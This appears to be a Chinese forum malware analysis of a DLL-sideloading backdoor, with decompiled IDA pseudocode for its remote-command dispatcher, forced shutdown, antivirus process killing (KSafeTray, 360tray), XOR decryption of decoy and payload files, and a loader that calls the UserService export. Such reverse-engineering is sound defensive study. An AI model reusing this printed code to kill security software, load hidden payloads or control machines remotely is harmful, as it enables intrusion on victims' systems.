1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | int __thiscall sub_10002020( HANDLE * this , _DWORD *a2) { HANDLE *v2; // esi int result; // eax _DWORD *v4; // ebx char buf[4]; // [esp+14h] [ebp-8h] BYREF int v7; // [esp+18h] [ebp-4h] v2 = this ; *a2 = 0; while ( 1 ) { *(_DWORD *)buf = 0; v7 = 0; result = sub_100037D0(buf, 8); if ( !result ) return result; SetEvent(v2[462]); v4 = operator new (0x620u); qmemcpy(v4, v2 + 1, 0x620u); v4[322] = v7; v4[11] = *(_DWORD *)buf; if ( *(_DWORD *)buf > 0x1F52u ) { if ( *(_DWORD *)buf > 0x7532u ) { if ( *(_DWORD *)buf == 30004 ) { operator delete (v4); *a2 = 12289; sub_10003340(0); } else if ( *(_DWORD *)buf == 30005 ) { operator delete (v4); *a2 = 12289; sub_10003340(1); } else { LABEL_27: operator delete (v4); } } else if ( *(_DWORD *)buf == 30002 ) { operator delete (v4); *a2 = 12288; beginthread(sub_100032F0, 0, v4); } else { switch ( *(_DWORD *)buf ) { case 0x1F54: LABEL_18: beginthread(sub_10002580, 0, v4); break ; case 0x1F56: beginthread(sub_10002420, 0, v4); break ; case 0x1F57: beginthread(sub_100024D0, 0, v4); break ; case 0x1F58: beginthread(sub_10002790, 0, v4); break ; case 0x1F59: beginthread(StartAddress, 0, v4); break ; case 0x1F5A: beginthread(sub_10002E20, 0, v4); break ; default : goto LABEL_27; } } } else if ( *(_DWORD *)buf == 8018 ) { beginthread(sub_10002840, 0, v4); } else { switch ( *(_DWORD *)buf ) { case 0x1F41: beginthread(sub_10002630, 0, v4); break ; case 0x1F42: case 0x1F43: case 0x1F44: case 0x1F4E: case 0x1F4F: goto LABEL_18; case 0x1F47: beginthread(sub_100022C0, 0, v4); break ; case 0x1F48: beginthread(sub_100026E0, 0, v4); break ; case 0x1F49: break ; case 0x1F4A: beginthread(sub_10002C40, 0, v4); break ; case 0x1F4B: beginthread(sub_10002A60, 0, v4); break ; case 0x1F50: beginthread(sub_10002F80, 0, v4); break ; case 0x1F51: beginthread(sub_10003300, 0, v4); break ; default : goto LABEL_27; } } result = ( int )a2; if ( *a2 ) return result; v2 = this ; } } |
观察到参数里仍然传入了this,调用约定还是thiscall,说明链子上游仍然有对象,继续跟进
1 | int __thiscall sub_10002020( HANDLE * this , _DWORD *a2) |
跟进到sub_10001F80,仍然是thiscall,但是这里已经显示了this对象和后面一些参数,继续追溯唯一交叉引用
1 | void __thiscall __noreturn sub_10001F80( int this , int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9) |
最终追溯到UserService函数,这个函数是noreturn的,不会返回调用者,不影响调用函数的执行流。
查看交叉引用,可以发现UserService是Config.dat提供的导出函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | .rdata:1001A390 ; Export directory for PcMain.dll .rdata:1001A390 ; .rdata:1001A390 00 00 00 00 dword_1001A390 dd 0 ; DATA XREF: HEADER:100001A0↑o .rdata:1001A390 ; Characteristics .rdata:1001A394 F4 30 EB 57 dd 57EB30F4h ; TimeDateStamp: Wed Sep 28 02:54:44 2016 .rdata:1001A398 00 00 dw 0 ; MajorVersion .rdata:1001A39A 00 00 dw 0 ; MinorVersion .rdata:1001A39C CC A3 01 00 dd rva aPcmainDll ; Name .rdata:1001A3A0 01 00 00 00 dd 1 ; Base .rdata:1001A3A4 02 00 00 00 dd 2 ; NumberOfFunctions .rdata:1001A3A8 02 00 00 00 dd 2 ; NumberOfNames .rdata:1001A3AC B8 A3 01 00 dd rva off_1001A3B8 ; AddressOfFunctions .rdata:1001A3B0 C0 A3 01 00 dd rva off_1001A3C0 ; AddressOfNames .rdata:1001A3B4 C8 A3 01 00 dd rva word_1001A3C8 ; AddressOfNameOrdinals .rdata:1001A3B8 ; .rdata:1001A3B8 ; Export Address Table for PcMain.dll .rdata:1001A3B8 ; .rdata:1001A3B8 60 AC 00 00 00 B6 00 00 off_1001A3B8 dd rva wow_helper, rva UserService .rdata:1001A3B8 ; DATA XREF: .rdata:1001A3AC↑o .rdata:1001A3C0 ; .rdata:1001A3C0 ; Export Names Table for PcMain.dll .rdata:1001A3C0 ; .rdata:1001A3C0 D7 A3 01 00 E3 A3 01 00 off_1001A3C0 dd rva aUserservice, rva aWowHelper .rdata:1001A3C0 ; DATA XREF: .rdata:1001A3B0↑o .rdata:1001A3C0 ; "UserService" ... .rdata:1001A3C8 ; .rdata:1001A3C8 ; Export Ordinals Table for PcMain.dll .rdata:1001A3C8 ; .rdata:1001A3C8 01 00 00 00 word_1001A3C8 dw 1, 0 ; DATA XREF: .rdata:1001A3B4↑o .rdata:1001A3CC 50 63 4D 61 69 6E 2E 64 6C 6C+aPcmainDll db 'PcMain.dll' ,0 ; DATA XREF: .rdata:1001A39C↑o .rdata:1001A3D7 55 73 65 72 53 65 72 76 69 63+aUserservice db 'UserService' ,0 ; DATA XREF: .rdata:off_1001A3C0↑o .rdata:1001A3E3 77 6F 77 5F 68 65 6C 70 65 72+aWowHelper db 'wow_helper' ,0 ; DATA XREF: .rdata:off_1001A3C0↑o .rdata:1001A3EE 00 00 00 00 00 00 00 00 00 00+align 1000h .rdata:1001A3EE 00 00 00 00 00 00 00 00 ?? ??+_rdata ends |
可以观察到这个DLL的名称是PCMain.dll
,提供了两个导出函数,UserService
和wow_helper
我们前文追踪的病毒控制函数就是UserService。
接下来我们分析导出函数UserService
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | void __noreturn UserService() { HWINSTA v0; // eax int v1[395]; // [esp-624h] [ebp-FD8h] BYREF int v2; // [esp+8h] [ebp-9ACh] BYREF struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-9A8h] BYREF struct _PROCESS_INFORMATION ProcessInformation; // [esp+50h] [ebp-964h] BYREF CHAR String1[260]; // [esp+60h] [ebp-954h] BYREF CHAR pszPath[260]; // [esp+164h] [ebp-850h] BYREF char v7[1864]; // [esp+268h] [ebp-74Ch] BYREF int v8; // [esp+9B0h] [ebp-4h] if ( GetTickCount() < 0x186A0 ) Sleep(0x4E20u); CreateDesktopA(szDesktop, 0, 0, 0, (ACCESS_MASK)&_ImageBase, 0); memset (&StartupInfo.lpReserved, 0, 0x40u); StartupInfo.wShowWindow = 0; StartupInfo.cb = 68; StartupInfo.lpDesktop = szDesktop; SHGetSpecialFolderPathA(0, pszPath, 38, 0); lstrcatA(pszPath, aTencentQqgameQ); //"\Tencent\QQGAME\QQGame.exe" SHGetSpecialFolderPathA(0, String1, 38, 0); lstrcatA(String1, aTencentQqgame); CreateProcessA(0, pszPath, 0, 0, 0, 0, 0, String1, &StartupInfo, &ProcessInformation); if ( CreateMutexA(0, 0, a981859203Com) && GetLastError() == 183 ) // 创建"981859203.com"互斥体 ExitProcess(0); GetProcessWindowStation(); v0 = OpenWindowStationA(szWinSta, 0, 0x2000000u); if ( v0 ) SetProcessWindowStation(v0); SetErrorMode(1u); sub_10001E80(v7); v8 = 0; v2 = 0; lstrcpyA(&::String1, aV44); CoCreateGuid(&pguid); v1[392] = ( int )&v2; dword_10022608 = dword_1001BA98 != 0; qmemcpy(v1, aA2s45d78w, 0x620u); sub_10001F80(( int )v7, v1[0], v1[1], v1[2], v1[3], v1[4], v1[5], v1[6], v1[7]); } |
调用CreateDesktopA创建了新的桌面环境,并且设置了_STARTUPINFOA
类型启动信息startinfo。
接着调用SHGetSpecialFolderPathA
,获取系统特殊路径(这个路径由系统定义,这里检索int 38
的目录,对应着C:\Program Files,win10 x86对应着C:\Program Files (X86)),拼接“\Tencent\QQGAME\QQGame.exe”
到pszPath和string中,构造路径C:\Program Files (X86)\Tencent\QQGAME\QQGame.exe
,然后调用CreateProcessA
,用之前的信息生成进程,这里做的操作意味着程序启动了QQGame.exe这个程序。
1 | #define CSIDL_PROGRAM_FILES 0x0026 // C:\Program Files |
接着创建名为"981859203.com"的互斥体,若已经存在了说明后门已经执行了,不需要继续执行了。
经过一些窗口设置,调用sub_10001E80
,传入字符数组v7.v7的空间特别大,这里经过分析也知道这其实就是类对象的赋值
1 2 3 4 5 6 7 8 9 | _DWORD *__thiscall sub_10001E80(_DWORD * this ) { sub_10003460(); * this = off_10015484; this [461] = 0; this [462] = CreateEventA(0, 1, 0, 0); this [463] = 0; return this ; } |
给v1数组赋值"A2s45d78w"
并最终调用sub_10001F80
(刚刚链路追踪中调用的控制函数),传递的参数就是v7对象,v1的字符串值
1 2 3 4 | v1[392] = ( int )&v2; dword_10022608 = dword_1001BA98 != 0; qmemcpy(v1, aA2s45d78w, 0x620u); // "A2s45d78w" sub_10001F80(( int )v7, v1[0], v1[1], v1[2], v1[3], v1[4], v1[5], v1[6], v1[7]); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | void __thiscall __noreturn sub_10001F80( int this , int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9) { int v10; // ebp int v11[392]; // [esp-620h] [ebp-630h] BYREF if ( a8 ) { v11[390] = ( int )operator new (0x620u); qmemcpy(( void *)v11[390], ( const void *)( this + 4), 0x620u); beginthread(StartAddress, 0, ( void *)v11[390]); } v10 = a9; while ( 1 ) { do { Sleep(0x3E8u); STACK[0x51C] = v10; qmemcpy(v11, &a2, sizeof (v11)); } while ( !sub_100034D0( this , 8000, v11[0], ...... v11[60]) ); beginthread(sub_10001F70, 0, ( void *) this ); sub_10002020(( HANDLE *) this , (_DWORD *)STACK[0x634]); sub_10003830((SOCKET *) this ); } } |
根据不同的配置和参数传递状况,最终可能开辟线程:StartAddress、sub_10001F70;
一定会调用sub_10002020、sub_10003830。
StartAddress中,启动了键盘控制器,也就是前文分析过的sub_10006250
,此处按下不表。
sub_10001F70,算是一个网络行为的控制函数,做调度用途,没有需要注意的点。
sub_10003830,关闭并清空this对象中socket。
核心来了,sub_10002020,病毒核心部分,控制函数。
第一个do while是上线包,会发送8000
的标识符给远端URL,当创建了socket连接,才会返回非空值,开辟sub_10002020线程,启动命令控制。
首先查看命令接收
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | int __thiscall sub_100037D0(SOCKET * this , char *buf, unsigned int len) { unsigned int v5; // ebx int v6; // edi int v8; // eax v5 = 0; v6 = len; if ( ! this [393] ) return 0; if ( len ) { while ( 1 ) { v8 = recv( this [393], buf, v6, 0); if ( v8 <= 0 ) break ; v5 += v8; buf += v8; v6 -= v8; if ( v5 >= len ) return 1; } return 0; } return 1; } |
可以看出调用recv直接从socket中接收消息,存储到buf中,而buf是10002020中定义的四位字符数组
1 | char buf[4]; |
最高可以存放0xFFFFFFFF
的数值。
接下来就是判断状态码对应的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | if ( *(_DWORD *)buf > 0x1F52u ) { if ( *(_DWORD *)buf > 0x7532u ) { if ( *(_DWORD *)buf == 30004 ) { operator delete (v4); *a2 = 12289; sub_10003340(0); } else if ( *(_DWORD *)buf == 30005 ) { operator delete (v4); *a2 = 12289; sub_10003340(1); } else { LABEL_27: operator delete (v4); } } else if ( *(_DWORD *)buf == 30002 ) { operator delete (v4); *a2 = 12288; beginthread(sub_100032F0, 0, v4); } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | BOOL __stdcall sub_10003340( int a1) { HANDLE CurrentThread; // esi HANDLE TokenHandle; // [esp+0h] [ebp-11Ch] BYREF struct _LUID Luid; // [esp+4h] [ebp-118h] BYREF struct _TOKEN_PRIVILEGES NewState; // [esp+Ch] [ebp-110h] BYREF _BYTE Name[253]; // [esp+1Ch] [ebp-100h] BYREF __int16 v7; // [esp+119h] [ebp-3h] char v8; // [esp+11Bh] [ebp-1h] NewState.PrivilegeCount = 1; // 开启执行关机操作所需权限 memset (&Name[1], 0, 0xFCu); v7 = 0; v8 = 0; strcpy (Name, "SeShutdownPrivilege" ); CurrentThread = GetCurrentThread(); LookupPrivilegeValueA(0, Name, &Luid); // 查找关机权限值 NewState.Privileges[0].Luid = Luid; NewState.Privileges[0].Attributes = 2; ImpersonateSelf(SecurityImpersonation); OpenThreadToken(CurrentThread, 0x20u, 1, &TokenHandle); AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0); // 调整访问令牌的权限,启用关机权限 if ( a1 ) return ExitWindowsEx(8u, 4u); // 关机 else return ExitWindowsEx(2u, 4u); // 注销 } |
1 2 3 4 | void __cdecl __noreturn sub_100032F0() { ExitProcess(0); } |
分析完了UserService,来看wow_helper
这个文件可大了,首先调用sub_1000A710
检查是否有KSafeTray.exe
进程(金山卫士)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | DWORD __cdecl sub_1000A710( char *String2) { HANDLE Toolhelp32Snapshot; // 用于存储快照句柄 PROCESSENTRY32 *v2; // 用于存储进程信息 // 创建系统中所有进程的快照 Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 为PROCESSENTRY32结构分配内存 v2 = (PROCESSENTRY32 *)operator new ( sizeof (PROCESSENTRY32)); // 设置结构的大小 v2->dwSize = sizeof (PROCESSENTRY32); // 获取快照中的第一个进程 if (Process32First(Toolhelp32Snapshot, v2)) { // 检查第一个进程的名称是否与String2匹配 if ( !strcmpi(v2->szExeFile, String2) ) return v2->th32ProcessID; // 如果匹配,返回进程ID // 遍历快照中的其他进程 while (Process32Next(Toolhelp32Snapshot, v2)) { // 检查当前进程的名称是否与String2匹配 if ( !strcmpi(v2->szExeFile, String2) ) return v2->th32ProcessID; // 如果匹配,返回进程ID } } // 如果没有找到匹配的进程,返回0 return 0; } |
如果找到了金山卫士的进程,则关闭这个进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | BOOL __cdecl sub_1000A140( const char *a1) { HANDLE Toolhelp32Snapshot; // 用于存储快照句柄 HANDLE v2; // 用于存储OpenProcess函数的返回值 PROCESSENTRY32 pe; // 用于存储进程条目信息 // 确保传入的进程名称不为空 if ( a1 ) { // 创建系统中所有进程的快照 Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 确保快照创建成功 if ( Toolhelp32Snapshot != ( HANDLE )-1 ) { // 初始化PROCESSENTRY32结构的大小 pe.dwSize = sizeof (PROCESSENTRY32); // 获取快照中的第一个进程 if ( Process32First(Toolhelp32Snapshot, &pe) ) { // 检查第一个进程的名称是否与传入的名称匹配 if ( ! strcmp (pe.szExeFile, a1) ) { // 如果匹配,关闭快照句柄 CloseHandle(Toolhelp32Snapshot); // 打开进程以获取终止权限 v2 = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID); // 终止进程 return TerminateProcess(v2, 0); } // 遍历快照中的其他进程 while ( Process32Next(Toolhelp32Snapshot, &pe) ) { // 检查当前进程的名称是否与传入的名称匹配 if ( ! strcmp (pe.szExeFile, a1) ) goto LABEL_7; } } // 如果没有找到匹配的进程,关闭快照句柄 CloseHandle(Toolhelp32Snapshot); } } // 如果没有找到匹配的进程或传入的进程名称为空,返回0 return 0; } |
这里由于白加黑,Teniodl_Core.dll 云下载引擎成功启动,启动的时候会向用户申请管理员权限,因此这里有管理员权限,可以随意关闭其他进程。
获取当前模块名,如果是load.exe
,则进入接下来的逻辑
1 2 3 4 5 6 7 | GetModuleFileNameA(0, Filename, 0xFFu); CharLowerA(Filename); if ( StrStrA(Filename, pszSrch) ) { SHGetSpecialFolderPathA(0, pszPath, 36, 0); lstrcatA(pszPath, aLimitDllhostEx); hModule = LoadLibraryA(aKernel32Dll_0); |
引入了各种dll,获取特殊路径,这里是36,0x0024,对应的是CSIDL_WINDOWS,路径为C:/Windows
。然后追加字符串构建一个路径:C:/Windows/limit/dllhost.exe
。
1 | #define CSIDL_WINDOWS 0x0024 // GetWindowsDirectory() |
创建C:/Windows/Program Files (X86)/Tencent/QQGame目录,并执行C:/Windows/Program Files (X86)/Tencent/QQGame/QQGame.exe
。如果这个文件一开始不存在,则调用sub_1000A790复制指定文件为QQGame.exe。
1 | #define CSIDL_PROGRAM_FILES 0x0026 // C:\Program Files |
1 2 3 4 5 6 7 8 9 10 | SHGetSpecialFolderPathA(0, String1, 38, 0); lstrcatA(String1, aTencent); // "\Tencent" CreateDirectoryA(String1, 0); lstrcatA(String1, aQqgame); // "\QQGame" CreateDirectoryA(String1, 0); // 创建C:/Windows/Program Files (X86)/Tencent/QQGame SHGetSpecialFolderPathA(0, FileName, 38, 0); lstrcatA(FileName, aTencentQqgameQ); // 追加"Tencent\QQGAME\QQGame.exe" if ( access(FileName, 0) == -1 ) // 如果不可达,创建文件 sub_1000A790(dword_10022B78, 108, Type, FileName); CreateProcessA(0, FileName, 0, 0, 0, 0, 0, String1, (LPSTARTUPINFOA)&v34[52], &ProcessInformation); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | HRSRC __cdecl sub_1000A790( HMODULE hModule, unsigned __int16 a2, LPCSTR lpType, LPCSTR lpFileName) { HRSRC result; // eax HRSRC v5; // edi const void *v6; // ebx void *v7; // esi DWORD v8; // eax DWORD NumberOfBytesWritten; // [esp+10h] [ebp-4h] BYREF NumberOfBytesWritten = 0; result = FindResourceA(hModule, ( LPCSTR )a2, lpType); v5 = result; if ( result ) { result = ( HRSRC )LoadResource(hModule, result); v6 = result; if ( result ) { result = ( HRSRC )CreateFileA(lpFileName, 0x40000000u, 2u, 0, 2u, 0x80u, 0); v7 = result; if ( result ) { v8 = SizeofResource(hModule, v5); WriteFile(v7, v6, v8, &NumberOfBytesWritten, 0); CloseHandle(v7); return ( HRSRC )1; } } } return result; } |
接下来处理DNF.jpg文件,也就是我们看到的执行Au.exe之后会弹出的DNF价格图片。
代码中会把io.dat的值取出,异或解密后存储于内存,并以图片类型打开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | if ( strcmp (aDnf, pszSubKey) ) // 比较DNF字符串和SubKey的值,如果不相等就继续 { GetModuleFileNameA(0, v38, 0x104u); PathRemoveFileSpecA(v38); // 删除尾部文件名和反斜杠 lstrcatA(v38, aIoDat); // 追加"\io.dat" hFile = CreateFileA(v38, 0x80000000, 0, 0, 3u, 0, 0); // 打开文件io.dat FileSize = GetFileSize(hFile, 0); v8 = operator new (FileSize); lpBuffer = v8; memset (v8, 0, FileSize); NumberOfBytesRead = 0; ReadFile(hFile, v8, FileSize, &NumberOfBytesRead, 0); // 读取io.dat数据到开辟的堆内存中 CloseHandle(hFile); for ( i = 0; i < FileSize; ++i ) *((_BYTE *)v8 + i) = (*((_BYTE *)v8 + i) - 106) ^ 0x22; // 异或解密内存文件数据 SHGetSpecialFolderPathA(0, File, 26, 0); // #define CSIDL_APPDATA 0x001a // <user name>\Application Data lstrcatA(File, asc_1001B83C); // "\" lstrcatA(File, aDnf); // "DNF.jpg" hFile = CreateFileA(File, ( DWORD )&_ImageBase, 0, 0, 2u, 0, 0); // 创建名为"DNF.jpg"的文件 hObject = 0; WriteFile(hFile, v8, FileSize, ( LPDWORD )&hObject, 0); // 往创建的jpg文件中,写入io.dat在内存中解密的数据 CloseHandle(hFile); ShellExecuteA(0, Operation, File, 0, 0, 1); // "open",打开DNF.jpg v6 = ( void (__stdcall *)( HWND , LPSTR , int , BOOL ))SHGetSpecialFolderPathA; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 | .data:1001BE84 ; CHAR aDnf[3] .data:1001BE84 44 4E 46 aDnf db 'DNF' ; DATA XREF: wow_helper+3A6↑o .data:1001BE84 ; wow_helper+4BA↑o .data:1001BE87 BC db 0BCh .data:1001BE88 DB db 0DBh .data:1001BE89 B8 db 0B8h .data:1001BE8A F1 db 0F1h .data:1001BE8B B1 db 0B1h .data:1001BE8C ED db 0EDh .data:1001BE8D 2E db 2Eh ; . .data:1001BE8E 6A db 6Ah ; j .data:1001BE8F 70 db 70h ; p .data:1001BE90 67 db 67h ; g |
创建C:\Windows\limit文件夹下文件,都是从病毒文件夹中copy过来的
其中,load.exe对应Aau.exe,config.dat和TenioDL_core.dll不变
dllhost.exe,是由sub_1000A790函数从dword_10022B78中提取104号资源,并写入dllhost.exe文件。这个104是.rc资源表中的资源序号。
而dword_10022B78在DLLMain中已经赋值了,就是解密后的Config.dat的dll句柄
因此这里直接用CFF exploerer打开,找到104号资源,查看data entry(资源目录),查看OffsetToData,这就是资源在二进制文件中的RVA,这里为20A68。
在偏移附近找到了存放的PE文件,也就是我们提取出来的dllhost.exe。
寻找360tray.exe(360),如果没找到,则删除load.exe,使用Au.exe
1 2 3 4 5 | if ( !sub_1000A710(a360trayExe) || stricmp(v37, v44) ) { DeleteFileA(v37); CopyFileA(ExistingFileName, v37, 0); } |
整体就是这么个操作。
接下来分析这个分离并且执行的dllhost.exe
通过火绒剑,可以发现dllhost.exe启动了一个conhost.exe和QQGame.exe
IDA开始分析,先看main
获取一堆函数的句柄
接下来获取config.dat,解密之后,调用sub_4016B0,其中有config.dat(PCMain.dll)的导出函数UserService字符串,也就是我们分析过的核心病毒代码的函数名,这里大概率是找到导出表中UserService的RVA,然后计算之后返回他的地址,在外部直接调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | GetModuleFileNameA(0, pszPath, 260); PathRemoveFileSpecA(pszPath); lstrcatA(pszPath, "\\config.dat" ); // 获取config.dat路径 v13 = CreateFileA(pszPath, 0x80000000, 0, 0, 3, 0, 0); v14 = v13; if ( v13 == ( HANDLE )-1 ) { CloseHandle(( HANDLE )-1); } else { v15 = GetFileSize(v13, 0); ProcessHeap = GetProcessHeap(); v17 = ( char *)HeapAlloc(ProcessHeap, 8, v15); v22 = 0; ReadFile(v14, v17, v15, ( LPDWORD )&v22, 0); v26(v14); v18 = v17 + 1; for ( i = v18; v15; --v15 ) { *i = (*i ^ 0x20) - 32; // 内存解密 ++i; } if ( sub_401520(v18) ) // 内存分配,准备性工作 { v20 = ( void (*)( void ))sub_4016B0(); // 关键函数 if ( v20 ) v20(); // 调用PCMain.dll(config.dat)导出函数:UserService sub_401770(); // 内存释放,收尾性工作 } } |
这个dllhost.exe没有其余导出函数了,因此分析到这里可以结束。
到这里,这个样本算是圆满分析完成了。
虽然样本是相对比较古老的,网上也有很多人分析过,但是他们的资料都比较宽泛,过程很跳,对样本的感知不是很深很细。对我来说,我希望对这个样本行为有更深更细的掌握,因此在函数行为逻辑方面我做了更深更彻底的探讨,比如键盘记录器以及中途如何去寻找上游控制函数,几个dat文件解密出来的pe、导出函数wow_helper、UserService等更多的细节。希望能够对其他人有所帮助。
这个样本花了我好几天,是我正儿八经自己分析的第一个样本,成就感挺足的,中途还有相当多的不足以及错误,比如远控函数sub_10002020的具体的功能函数,白加黑的恶意DLL Teniodl_Core.dll中装载病毒的函数sub_10001000和sub_100014DE,以及其他我没有关注到的细节,希望大佬们多多指导。
[原创]“白加黑”恶意程序样本分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
[原创]一个隐藏蛮深的白加黑样本分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
PE格式第九讲,资源表解析 - iBinary - 博客园
更多【软件逆向-白加黑dll劫持恶意样本分析(含样本详细逻辑)】相关视频教程:www.yxfzedu.com